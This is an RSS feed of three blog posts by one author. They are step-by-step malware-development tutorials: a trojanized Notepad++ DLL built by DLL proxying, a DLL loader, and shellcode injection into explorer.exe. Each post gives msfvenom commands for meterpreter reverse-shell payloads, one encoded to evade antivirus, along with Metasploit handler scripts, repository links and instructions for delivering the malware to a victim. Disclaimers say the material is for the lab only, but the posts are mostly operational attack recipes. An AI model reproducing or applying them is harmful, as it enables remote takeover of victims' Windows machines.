<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Agha Asfandyar Khan on Medium]]></title>
        <description><![CDATA[Stories by Agha Asfandyar Khan on Medium]]></description>
        <link>https://medium.com/@aghaasfandyarkhan?source=rss-b57f331c9ec4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*0EEtXH4ALffLsOSQ</url>
            <title>Stories by Agha Asfandyar Khan on Medium</title>
            <link>https://medium.com/@aghaasfandyarkhan?source=rss-b57f331c9ec4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 23:34:00 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@aghaasfandyarkhan/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How attackers hide their malicious library files (.dll)]]></title>
            <link>https://aghaasfandyarkhan.medium.com/how-attackers-hide-their-malicious-library-files-dll-3eb69e238fbe?source=rss-b57f331c9ec4------2</link>
            <guid isPermaLink="false">https://medium.com/p/3eb69e238fbe</guid>
            <category><![CDATA[malware-development]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[Agha Asfandyar Khan]]></dc:creator>
            <pubDate>Mon, 28 Sep 2026 17:26:45 GMT</pubDate>
            <atom:updated>2026-09-29T04:08:24.552Z</atom:updated>
            <content:encoded><![CDATA[<h3>How attackers hide their malicious library files (.dll) inside legitimate applications | Ft. DLL Proxying</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YExDPRi-Bfb144TJ192G9A.png" /></figure><p>In the era of too much secure systems and evolving <strong>Artificial Intelligence </strong>it’s difficult to build a <strong>Malware for Windows</strong> which will never be caught by even manual Analysis. You ran your daily use software and it runs smoothly but you don’t know back there something is going on. A <strong>DLL(Dynamic Link Library)</strong> loaded itself and act as a real <strong>DLL file </strong>but instead it’s your own malicious code giving you full control of that <strong>Windows System</strong>. <strong>Yes Yes Yes! </strong>Here we are with this new malware technique called <strong>&quot;DLL Proxying&quot;.</strong> Now what is this new fancy term. Let’s understand under the <strong>shadow of pure demonstration</strong> without talking too much about <strong>technical terms.</strong></p><h3>Prerequisites:</h3><ol><li><em>Kali Linux VM </em><strong><em>(Attacker Machine)</em></strong></li><li><em>Windows VM </em><strong><em>(Target Machine)</em></strong></li><li><em>Rust Toolchain installed </em><strong><em>(rustup &amp; cargo)</em></strong></li><li><strong><em>Stable Internet Connection</em></strong></li></ol><h3><strong>Theory &amp; Practical:</strong></h3><p>Follow the steps given below to understand this type of malware practically.</p><p>1. Clone my <strong>Github Repository</strong> from my <strong>Official Github Account</strong>. Link to the Repo:<strong><em> </em></strong><a href="https://github.com/aghaasfandyarkhan/Winx86_64-DLL-Proxying-Payload.git"><strong><em>Click here to open the repo</em></strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MVBlm7v4ajTbfwI3ldk9HQ.png" /><figcaption>Cloning Github Repo from my Github</figcaption></figure><p>2. Review every file from the project and try to understand which file performs which function. There will be these important files which you want to understand properly.</p><ul><li>src/lib.rs</li><li>build.rs</li><li>winx86_64_dll_proxying.def</li><li>Cargo.toml</li><li>Notepad++.zip</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EQ8u32BEXTsRFxivRaikdw.png" /><figcaption>Important files you want to review one time</figcaption></figure><p>3. Now let me explain each of this file a little bit so you can understand what&#39;s going on.</p><ul><li><strong><em>src/lib.rs:</em></strong> This file contains the main logic of the library</li><li><strong><em>build.rs:</em></strong> This file contains the build conditions and dependencies of the project</li><li><strong><em>winx86_64_dll_proxying.def:</em></strong> This file contains the forwarding logic of every export functions.</li><li><strong><em>Cargo.toml:</em></strong> This file contains every optimization and crates used during compilation.</li><li><strong><em>Notepad++.zip:</em></strong> This file is the actual and legitimate Notepad++ software with every libraries and configurations. <strong>(Main bait software)</strong></li></ul><p>4. Now we are going to generate our<strong> &quot;shellcode.bin&quot; </strong>file which will give us the full remote control of the target machine. I am going to use <strong>Metasploit Framework </strong>for this. But you can code it by yourself or you can generate it using other <strong>C2 frameworks</strong>. Use the commands below for generating a <strong>stageless payload shellcode.bin</strong> file.</p><pre>msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=&lt;YOUR IP&gt; LPORT=&lt;YOUR PORT&gt; -f raw -o shellcode.bin</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fquMavO_AS1t6V4g1FINBA.png" /><figcaption>Generated shellcode.bin file using Metasploit Framework</figcaption></figure><p>5. Now we will compile the code for the malicious <strong>.dll </strong>file which will forward every function export to the real<strong> .dll </strong>file and also executes our malicious <strong>shellcode.bin </strong>file in memory. The .dll file after compilation will be inside <strong>&quot;target/x86_64-pc-windows-gnu/release&quot;.</strong> For compiling the code use the command given below:</p><pre>rustup target add x86_64-pc-windows-gnu<br>cargo build --release --target x86_64-pc-windows-gnu</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*als84QfNeWwwUzdwHquYDA.png" /><figcaption>Compiled the library file</figcaption></figure><p>6. Now we will rename this <strong>.dll</strong> file to <strong>&quot;mimeTools.dll&quot;,</strong> unzip the <strong>Notepad++.zip</strong> file &amp; place this malicious <strong>mimeTools.dll</strong> file inside the <strong>&quot;Notepad++/plugins/mimeTools/&quot;</strong>. We will rename the <strong>real mimeTools.dll</strong> to <strong>mimeTools2.dll </strong>where our <strong>malicious mimeTools.dll</strong> file will forward the export functions and also executes the malicious shellcode.</p><pre>unzip Notepad++.zip &gt; /dev/null<br>mv target/x86_64-pc-windows-gnu/release/winx86_64_dll_proxying.dll Notepad++/plugins/mimeTools/mimeTools.dll</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NFhwnzny680iwAd_f5LQzw.png" /><figcaption>Unzip the Notepad++.zip and moved the compiled .dll file to mimeTools directory</figcaption></figure><p>7. Now we will <strong>re-zip the Notepad++ directory </strong>and deliver it to the Target machine. So the target unzip it and run the <strong>Notepad++.exe</strong> application which will run the application and also loads our <strong>mimeTools.dll (malicious library)</strong>. Our malicious library will forward the export functions to the <strong>real mimeTools2.dll</strong> &amp; it will give us full remote control over Target machine. But first we will create a <strong>&quot;remotecontrol.rc&quot;</strong> file to handle the reverse connection. Write this in the <strong>remotecontrol.rc</strong> file which is given below:</p><pre>use multi/handler<br>set PAYLOAD windows/x64/meterpreter_reverse_tcp<br>set LHOST &lt;YOUR IP&gt;<br>set LPORT &lt;YOUR PORT&gt;<br>exploit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*drJi4T3jlQaMqsfL2SdvfA.png" /><figcaption>remotecontrol.rc file for reverse connection handling</figcaption></figure><p>8. Now I will run a <strong>&quot;HTTP SERVER&quot;</strong> in <strong>~/Public directory</strong> where I placed my zip <strong>Notepad++.zip</strong>, which contains our malicious <strong>mimeTools.dll</strong> file too. Then I will run the <strong>&quot;remotecontrol.rc&quot;</strong> file for reverse connection handling.</p><pre>msfconsole -q -r remotecontrol.rc</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ebzmgav5xo0IHC6CrVQKEA.png" /><figcaption>Ran HTTP SERVER in ~/Public directory, Serving Notepad++.zip</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P4vEh0OLQ3VUTIf-u8Hfyw.png" /><figcaption>Ran reverse handler using remotecontrol.rc</figcaption></figure><p>9. Now the target will download the <strong>Notepad++.zip </strong>file, <strong>unzip it </strong>and run the <strong>Notepad++.exe</strong> file which will load our <strong>mimeTools.dll (malicious library) </strong>&amp; we will have full control over <strong>target machine</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0O-uivFRQ7GwBztyZKOoLg.png" /><figcaption>Target downloaded the Notepad++.zip</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KuByvh5gY6Eu1Jd7gL4OSg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rirv3_39od220w10IdDZFA.png" /><figcaption>Target unzipped the Notepad++.zip and ran the Notepad++.exe</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9FqC8r8kpZ-39UBmXoJzLg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sTyfVsqFno3zib_UHt7S3Q.png" /><figcaption>Attacker have full remote control over target machine</figcaption></figure><h3>Summary:</h3><p>In this demonstration we saw a <strong>real world based attack vector</strong> which most of the <strong>blackhat hackers </strong>or I better say <strong>Threat actors</strong> use to compromise systems. These types of attacks are much more <strong>lethal </strong>if they contain some evasion techniques like <strong>Polymorphism or Obfuscation</strong> etc. But this project is just a simple prototype without any evasion technique just to understand how <strong>&quot;DLL Proxying&quot;</strong> work in <strong>real adversary simulation.</strong></p><blockquote><strong><em>NOTE: These type of malware are stealthy but DLL monitoring type of security protocols can still manage to flag these shitty suckers and sandbox them. So playing with your own company with these type of toys may trigger their IDS and you will be behind the bars in just 2 days. So don’t pull these type of tricks in Companies and not even on your friends little laptop. Study all these in a controls lab environment for just Malware development and Analysis purpose. BTW my GitHub Repos are free and Open source. You can modify them as you like. Until than Stay safe and keep touching the terminal. Bye bye :)</em></strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3eb69e238fbe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DLL Loaders are clever type of malwares. See how? (Red Team Operations)]]></title>
            <link>https://aghaasfandyarkhan.medium.com/dll-loaders-are-clever-type-of-malwares-see-how-red-team-operations-ea58f2c1caa5?source=rss-b57f331c9ec4------2</link>
            <guid isPermaLink="false">https://medium.com/p/ea58f2c1caa5</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[malware-development]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[Agha Asfandyar Khan]]></dc:creator>
            <pubDate>Sun, 13 Sep 2026 18:52:53 GMT</pubDate>
            <atom:updated>2026-09-13T19:06:37.518Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3y3_wdANzCWUYWELhRUapA.png" /></figure><p>As we learnt in our Malware development series that attackers always find a new technique to trick the system and get their work done. This time we are going to understand the <strong>“DLL Loaders”</strong>. Another clever technique used by <strong>threat actors</strong> and <strong>malware dev </strong>to trick the system by sending a whole legitimate application which also contains <strong>.dll (Dynamic Link Library)</strong> files.<strong><em> Yeah! a software with .dll files look legitimate right?</em></strong> Because the application runs correctly and the <strong>.exe</strong> file doesn’t flagged as malware. But the thing is, that sucker was never the malware but that clever thing <strong>.dll </strong>file is the real deal. Let’s dive deep into this practical demonstration of how these fancy <strong>“DLL Loaders” </strong>work. <strong><em>BTW it’s pretty simple ;).</em></strong></p><h4><strong>Prerequisites:-</strong></h4><ul><li>Linux VM as Attacker <strong>(Debian Based)</strong></li><li><strong>Rust Toolchain</strong> installed <strong>(rustup, cargo, rust)</strong></li><li><strong>Windows 10 VM</strong> as victim machine</li><li>Stable internet connection</li></ul><h4>Practical and Theory:-</h4><p><strong>DLL Loaders</strong> have a simple work flow. It loads and execute the malicious <strong>.dll</strong> file in the system. The <strong>.exe </strong>file can be any software even it’s legitimate and your own made.</p><ul><li>First clone my GitHub repo. The link given below:</li></ul><p><strong>GitHub Repo:</strong> <a href="https://github.com/aghaasfandyarkhan/Winx86_64_DLL_Loader.git">Click here to clone the Repo</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*28w_E5MZ7aivuVCNd0I_3w.png" /><figcaption>Cloned the GitHub Repo</figcaption></figure><blockquote><strong>NOTE: This demonstration is purely for educational purpose. Using these prototype for malicious use &amp; threat act will result in instant cyber crime case.</strong></blockquote><ul><li>This project is simple and contain just 2 parts. One is the<strong> compilation of main code</strong> and second is the <strong>generation of .dll </strong>file which will be the actual malicious file for getting <strong>RCE</strong> onthe victim’s system.</li><li>Take a good look on the <strong>Cargo.toml</strong> file and <strong>src/main.rs</strong> file available inthe project directory. These are the main files which are included in any rust project. Let’s review the <strong>main.rs</strong> code.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FiwvkjSMbbeg9kAbQ3lGBA.png" /><figcaption>src/main.rs code review</figcaption></figure><ul><li>Let me explain what this code do? We are using simple rust <strong>crate </strong>called <strong>“windows_sys”</strong> which is responsible for giving us ability to use <strong>WINAPI32 functions</strong>. Where we used <strong>LibraryLoader </strong>feature for simply loading the <strong>.dll </strong>file. You can change the name of the .dll file according to your own <strong>.dll</strong> file name.</li><li>Now we will generate our malicious <strong>.dll</strong> file which will be responsible for compromising the victim’s machine. For generating this .dll payload I am using <strong>Metasploit framework</strong> but you can use any other <strong>C2 framework </strong>too for this. So for generating a <strong>.dll</strong> payload use the command line given below.</li></ul><pre>msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=&lt;YOUR IP&gt; LPORT=&lt;YOUR PORT&gt; -f dll -e x64/zutto_dekiru -i 7 --smallest --platform windows --arch x64 -o version.dll</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W3e4izRo5MwwKJfNq2iqqQ.png" /><figcaption>Generated version.dll payload</figcaption></figure><ul><li>We just generated our<strong> stageless payload </strong>with using an encoder this time which is called <strong>x64/zutto_dekiru </strong>with almost <strong>7 iterations</strong> so it will be difficult to detect for a simple <strong>AV (AntiVirus). </strong>Now let’s compile our main code with adding the name of our <strong>version.dll file </strong>which is already <strong>version.dll t</strong>here in my code. So we will just compile that thing and get the PE (Portable Executable) and put both of these files in one directory. For compiling that code enter the <strong>Project’s directory </strong>where the <strong>Cargo.toml </strong>file is available and run these command lines:</li></ul><pre>rustup target add x86_64-pc-windows-gnu<br>cargo build --release --target x86_64-pc-windows-gnu</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KVjMlyVE4XGtcMiNYUNlXQ.png" /><figcaption>Compile the code into PE</figcaption></figure><ul><li>Now the PE will be compiled and available in <strong>“target/x86_64-pc-windows-gnu/release/”</strong> directory with the name of <strong>“winx86_64_dll_loader.exe”.</strong> You can even rename it as you like. Now let’s put both of the <strong>winx86_64_dll_loader.exe</strong> and <strong>version.dll</strong> in same directory and make a zip file of this directory for delivering it to victim machine.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*os_QvoS2F_ihepQ35yS_TA.png" /><figcaption>Putted the files in directory and made a .zip file</figcaption></figure><ul><li>Now we will delete the <strong>.exe </strong>and <strong>.dll</strong> file from here or you can put these somewhere for backup. Now we will create a<strong> .rc </strong>file for<strong> Metaspoit handler </strong>for handling the <strong>reverse connection.</strong></li><li>Create a new file with the name <strong>“remotecontrol.rc”</strong> in another directory where you want to place your loots and data which you will gather from the victim &amp; write this what is given below in it and save it:</li></ul><pre>use multi/handler<br>set PAYLOAD windows/x64/meterpreter_reverse_tcp<br>set LHOST &lt;YOUR IP&gt;<br>set LPORT &lt;YOUR PORT&gt;<br>exploit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tKEDW6XIVDs3igPkzzx2sA.png" /><figcaption>Write the remotecontrol.rc file</figcaption></figure><ul><li>Then run it by using the command line given below:</li></ul><pre>sudo msfconsole -q -r remotecontrol.rc</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RCzW4q0h3k6ao2NEVJOsWA.png" /><figcaption>Ran the Reverse Hanlder listening for connection</figcaption></figure><ul><li>Now let’s see what the victim is doing with the delivered malware! <strong><em>hehehhe</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mR0sTEIyt4eqaIlvaH6F5A.png" /><figcaption>Victim downloaded the .zip file</figcaption></figure><ul><li>I think now that <strong><em>dumb person :)</em></strong> will unzip this and run the <strong>.exe</strong> because at least he knows that <strong>.dll </strong>file are not directly executable.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k1BaBhdg2TFirxHHD0YSnw.png" /><figcaption>Extracted the .zip file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LLmEfeKjIMq9AdN4y4RTRw.png" /><figcaption>Executed Successfully</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KK44bQByYEPxshh3G9UAiw.png" /><figcaption>Ohhh Yeahhh! Pwned…</figcaption></figure><ul><li>We got the reverse connection instantly thanks to the stageless payload. There are no 2 or 3 stages. We checked the system information for info gathering using <strong>“sysinfo” </strong>command.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U7O0joELIAKKVIN5Z0hlMA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ih-Oc5tHvjkmxjZBgSNn4A.png" /><figcaption>Antivirus is turned on but no popup &amp; nothing sandboxed :)</figcaption></figure><ul><li>Thanks to the <strong>x64/zutto_dekiru</strong> &amp; my <strong>7 iterations idea</strong> of it. AV is not able to understand our payload and can’t be able to flag it as malicious. So today we learned a clever and stealthy malware technique with this much easy explaination<strong><em>. Hurrrray!!</em></strong></li></ul><blockquote><strong>NOTE: These type of malware are stealthy but DLL monitoring type of security protocols can still manage to flag these shitty suckers and sandbox them. So playing with your own company with these type of toys may trigger their IDS and you will be behind the bars in just 2 days. So don’t pull these type of tricks in Companies and not even on your friends little laptop. Study all these in a controls lab environment for just Malware development and Analysis purpose. BTW my GitHub Repos are free and Open source. You can modify them as you like. Until than Stay safe and keep touching the terminal. Bye bye :)</strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ea58f2c1caa5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Process Injections are most stealthy attacks if you know how to get them work.]]></title>
            <link>https://aghaasfandyarkhan.medium.com/process-injections-are-most-stealthy-attacks-if-you-know-how-to-get-them-work-abc7ae87198f?source=rss-b57f331c9ec4------2</link>
            <guid isPermaLink="false">https://medium.com/p/abc7ae87198f</guid>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[malware-development]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[offensive-security]]></category>
            <dc:creator><![CDATA[Agha Asfandyar Khan]]></dc:creator>
            <pubDate>Fri, 11 Sep 2026 16:28:30 GMT</pubDate>
            <atom:updated>2026-09-11T16:28:30.362Z</atom:updated>
            <content:encoded><![CDATA[<h3>Process Injections are most stealthy attacks if you know how to get them work. (Red Team Operations)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sJNK1eUj6n5DEUWw8ZCjKQ.png" /></figure><p>There are more fun and informative ways in Red Team Operations to compromise a <strong>Windows System</strong> but when it comes to evasion and stealth. <strong>Process Injections</strong> are one of the most stealthy attacks, the attacker can perform. Today we are going to see <strong>Process Injection</strong> in action. <strong><em>Thanks to me</em></strong> :) that I am making all this stuff and uploading it to my <strong>GitHub Account</strong>. So without more yapping on this topic let’s do practical and understand that how this thing works in real.</p><h4>Prerequisites:-</h4><ol><li>Linux OS Virtual Machine/Attacker Machine <strong><em>(Debian Based)</em></strong></li><li>Rust toolchain installed on Linux VM <strong><em>(rust, rustup, cargo)</em></strong></li><li><strong><em>Metasploit Framework </em></strong>on Linux VM</li><li>64 bit Windows <strong><em>[Windows 10 22H2]</em></strong>/Target Machine</li><li>A System which can handle and support all this virtualization and runs these VM smoothly. <strong><em>(Quad Core CPU/ 6 Core 12 Thread better, Min 16GB RAM)</em></strong></li><li>Stable Internet Connection <strong><em>(Spend some money on your Internet Buddy)</em></strong></li></ol><h4><strong>Practical &amp; Explanation:-</strong></h4><p>In theory let’s just revise all these procedures which we are going to perform.</p><ul><li>Clone my GitHub repo from the link given below:</li></ul><p><strong>Github Repo:</strong> <a href="https://github.com/aghaasfandyarkhan/Winx86_64-Process-Injection.git">Click to open the repo</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6hUusqJqkxwPYZEWSrGCAQ.jpeg" /><figcaption>Cloning Winx86_64-Process-Injection Repo from my GitHub</figcaption></figure><blockquote><strong>NOTE: This demonstration is purely for educational purpose. Using these prototype for malicious use &amp; threat act will result in instant cyber crime case.</strong></blockquote><ul><li>Now take a look on every file available in the project. Try to understand the project’s rust code. <strong><em>(I know most of you don’t know rust but just take it as English essay. Read it one time and try to understand.)</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aQX61T_opuUlngLXWs7cZg.jpeg" /><figcaption>src/main.rs code review</figcaption></figure><ul><li>OK let me clear what this code is doing simply. We are using <strong>WinAPI Fucntions</strong> by using <strong>“windows” </strong>crate for interacting with<strong> Windows System.</strong> Than we gave this code a <strong>shellcode.bin</strong> file which is the main malicious code OR I better say the <strong>shellcode</strong> which will be <strong>injected in the process. </strong>Than it will find the PID <strong>(Process Identity)</strong> handle of the <strong>“explorer.exe” </strong>process. Than it will create a thread in that process, allocate some space, inject our <strong>shellcode</strong> into it and execute it. You know what’s good. You can change the name of process in <strong>main.rs</strong> code and can inject your <strong>shellcode</strong> in it.</li><li>Rust projects mostly contains alot of files but you will find 2 files must in the whole project. One is the <strong>“src/main.rs”</strong> &amp; second is the <strong>“Cargo.toml”</strong> file. The main.rs file contains all the code main logic &amp; the Cargo.toml file contains all the configuration and crates <strong><em>(Libraries/Dependencies).</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KuaEGTVxH7XOJjdrtg6ssw.jpeg" /><figcaption>Cargo.toml &amp; src/main.rs content</figcaption></figure><ul><li>Now we need <strong>1 thing</strong> here to make this work and it’s the <strong>“shellcode.bin”</strong> file which our <strong>main.rs</strong> code will take and compile in the final binary. BTW all of the<strong> reverse connection</strong> and stuff is what this <strong>shellcode.bin</strong> will handle. I mean this rust code doesn’t have any feature of hacking a system itself. <strong><em>Hahahah!</em></strong></li><li>I am using <strong>Metasploit Framework </strong>for generating a <strong>shellcode.bin</strong> file. You can use any other <strong>C2 Framework </strong>or your own<strong> custom shellcode </strong>for this. Now it’s up to you what you want to do but I am going to generate a <strong>shellcode.bin</strong> file in the directory where the <strong>Cargo.toml</strong> is available. Use this command line given below for generating the <strong>shellcode.bin</strong> file.</li></ul><pre>msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=&lt;YOUR IP&gt; LPORT=&lt;YOUR PORT&gt; -f raw -o shellcode.bin</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bfAONEYLuUWobas_gdCcmA.jpeg" /><figcaption>Generated shellcode.bin</figcaption></figure><ul><li>Now we will create a <strong>.rc (remote control)</strong> file to handle the reverse connection. In <strong>Metasploit Framework</strong> it’s easy with these <strong>.rc files</strong>. So we are going to create another Directory which will contain the <strong>“remotecontrol.rc”</strong> file. Write this in the <strong>remotecontrol.rc</strong> file and save it. Remember the<strong> LHOST &amp; LPORT</strong> needs to be same as your <strong>shellcode.bin</strong> contains.</li></ul><pre>use multi/handler<br>set PAYLOAD windows/x64/meterpreter_reverse_tcp<br>set LHOST &lt;YOUR IP&gt;<br>set LPORT &lt;YOUR PORT&gt;<br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kFKFTXrpqIPrK1V2B5MEdw.jpeg" /><figcaption>Created new directory &amp; created a new file “remotecontrol.rc” in it with some information</figcaption></figure><ul><li>Now let’s compile the main rust code into a <strong>Windows PE (Portable Executable).</strong> For compiling come back to the <strong>project’s main directory </strong>where the <strong>Cargo.toml</strong> is available &amp; use following commands given below:</li></ul><pre>rustup target add x86_64-pc-windows-gnu<br>cargo build --release --target x86_64-pc-windows-gnu</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7excqpxIB08wDM7SNG2Jzw.jpeg" /><figcaption>Added the windows arch &amp; compiled the code into Win PE</figcaption></figure><ul><li>The<strong> .exe</strong> binary will be compiled and available in the <strong>“target/x86_64-pc-windows-gnu/release/” </strong>directory. My project name is <strong>“winx86_64processinjection”</strong> that’s why i got the binary <strong>“winx86_64processinjection.exe”</strong> but you can change the project name in <strong>Cargo.toml </strong>file before compiling. BTW you can rename it after compilation. <strong><em>I know you are not this much dumb.Hahahahh!</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4uyf0irNubkVtIDd964DMw.jpeg" /><figcaption>Compiled winx86_64processinjection.exe</figcaption></figure><ul><li>Now after this we will run that <strong>“remotecontrol.rc” </strong>file for handling the reverse connection. For running the<strong> remotecontrol.rc</strong> file use the command line given below:</li></ul><pre>msfconsole -q -r remotecontrol.rc</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cM9S2HUwd75ZGlWX7Nf7qg.png" /><figcaption>Ran the remotecontrol.rc</figcaption></figure><ul><li>After that we will deliver this Windows PE, I mean our main <strong><em>“Process Injection Malware” </em></strong>to our Windows Target machine. You can use any way, If you are a <strong><em>real Red Team Operator </em></strong>;) you already know how to deliver the payload. I simply hosting a web server with <strong>node-http-server</strong> &amp; delivering the link to the victim for downloading the file.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1p76nm6BL-xuwayRpjR-PQ.png" /><figcaption>Served my process injection malware on web server</figcaption></figure><ul><li>Now the target will download the malware and execute it. That will give us the full control of the target <strong>Windows Machine</strong>. <strong><em>Boom!! That’s it.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a1_gGJez7M0ZQOSRnnc0iQ.png" /><figcaption>Target downloaded the malware</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0OPROcHKGoRYxAJV1ol2RQ.png" /><figcaption>Target executed the malware</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EsLRS4viKQrtZskfmEk5aw.png" /><figcaption>We got he reverse connection :)</figcaption></figure><ul><li>Let’s check if it’s working or not by taking a screenshot. For taking screenshot simply write <strong>“screenshot” </strong>in your <strong>Metasploit meterpreter.</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mA_x9J0jDrlUi_Wg1qCyDw.png" /><figcaption><strong>Yes we are in ;)</strong></figcaption></figure><ul><li>Now let’s check what happened on the Windows machine side. What happened to the <strong>“explorer.exe”. </strong>I am using <strong>“procmon.exe”</strong> file for the Process Analysis. You can use any tool you like. We just created a new thread to one of the <strong>“explorer.exe” </strong>process.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jQC6Tu-cAMPa6Jq1yqDKlQ.png" /><figcaption>We created a new Thread in explorer.exe with PID 7980</figcaption></figure><h4>Conclusion:-</h4><p>This type of attack looks more stealthy if that <strong>Blue Team</strong> on the other side have some <strong>“Skill Issues”.</strong> But you can see that we just found the weird thing in the <strong>procmon.exe</strong> about the <strong>explorer.exe</strong> that there is a new thread in it which is not normal. First thing simple <strong>Windows Defender</strong> will terminate this thread and restart the <strong>explorer.exe</strong> in the first place. But this is how <strong>“Process Injection Malwares”</strong> work in real life. <strong><em>So you learned something new now ;) ?</em></strong></p><blockquote><strong><em>NOTE: This malware never evades the EDR &amp; IDS systems. This is just a prototype to demonstrate the Process Injection attacks. Your malware will be detected as harmful and would be sand boxed. Your process injection will be terminated in the first place. So don’t try to hack your firend’s Windows 11 machine where he plays PUBG or stream his Minecraft gameplay. He will not like a popup of Antivirus due to your given software. Until than keep touching the terminal and read my other articles too. Don’t forget to clap and comment you Hacker Soul ;).</em></strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=abc7ae87198f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LOLBin (Living of the land Binary)/File less Malware is the ghost in your system.]]></title>
            <link>https://aghaasfandyarkhan.medium.com/lolbin-living-of-the-land-binary-file-less-malware-is-the-ghost-in-your-system-3f0383bd9428?source=rss-b57f331c9ec4------2</link>
            <guid isPermaLink="false">https://medium.com/p/3f0383bd9428</guid>
            <category><![CDATA[malware-development]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[Agha Asfandyar Khan]]></dc:creator>
            <pubDate>Mon, 07 Sep 2026 14:37:57 GMT</pubDate>
            <atom:updated>2026-09-07T14:37:57.837Z</atom:updated>
